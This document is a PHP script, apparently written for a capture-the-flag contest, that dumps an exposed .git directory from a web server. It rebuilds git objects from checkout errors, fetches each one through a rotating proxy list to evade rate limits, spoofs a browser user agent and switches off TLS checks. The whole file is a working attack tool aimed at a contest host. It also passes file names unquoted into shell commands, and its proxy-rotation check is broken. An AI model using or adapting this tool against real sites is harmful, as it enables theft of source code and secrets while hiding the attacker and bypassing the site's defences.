PHP git dumper with socks

<?php
date_default_timezone_set('Europe/Moscow');
header('Content-Type: text/html; charset=utf-8');

set_time_limit(0);

function ccc($url, $proxy)
{
    $url = trim($url);
    $proxy = trim($proxy);

    if ($ch = curl_init($url)) {
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_PROXY, $proxy);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $content = curl_exec($ch);
        $header = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($header != 200)
        {
            echo "bad proxy\n";
            return false;
        }

        return $content;
    }
}

function my_shell_exec($cmd, &$stdout=null, &$stderr=null) {
    $proc = proc_open($cmd,[
        1 => ['pipe','w'],
        2 => ['pipe','w'],
    ],$pipes);
    $stdout = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    $stderr = stream_get_contents($pipes[2]);
    fclose($pipes[2]);
    return proc_close($proc);
}

$files = file('files.txt');
$proxyList = file('proxy.txt');

$i = 0;

$url = 'http://zhopify.hackquest.phdays.com/'; // without /.git



foreach ($files as $k => $file)
{
    $content = false;

    if (
        strpos($file, '.svg') !== false ||
        strpos($file, '.gif') !== false ||
        strpos($file, '.png') !== false ||
        strpos($file, '.jpg') !== false ||
        strpos($file, '.css') !== false ||
        strpos($file, '.js') !== false ||
        strpos($file, '.eot') !== false ||
        strpos($file, '.ttf') !== false ||
        strpos($file, '.woff') !== false
    )
    {
        continue;
    }

    my_shell_exec("git checkout $file", $null, $e);

    echo $e . "\n";

    if (preg_match('#\(([^)]+)\)#', $e, $o))
    {
        $hash = $o[1];

        $dir ='.git/objects/' . substr($hash, 0, 2) . '/';
        $path = $dir . substr($hash, 2);

        if (!is_dir($dir)) mkdir($dir, 0755);

        do {
            $proxy = $proxyList[$i];

            echo "Proxy $proxy ::: GET [$k] $file\n";
            $content = ccc($url . $path, $proxy);
            if (!$content || strpos("Too Many requests", $content) !== false)
            {
                $content = false;
                $i++;

                if ($i > $proxyList)
                {
                    $i = 0;
                }
            }
        } while ($content == false);

        file_put_contents($path, $content);

        exec("git checkout $file");

    }
}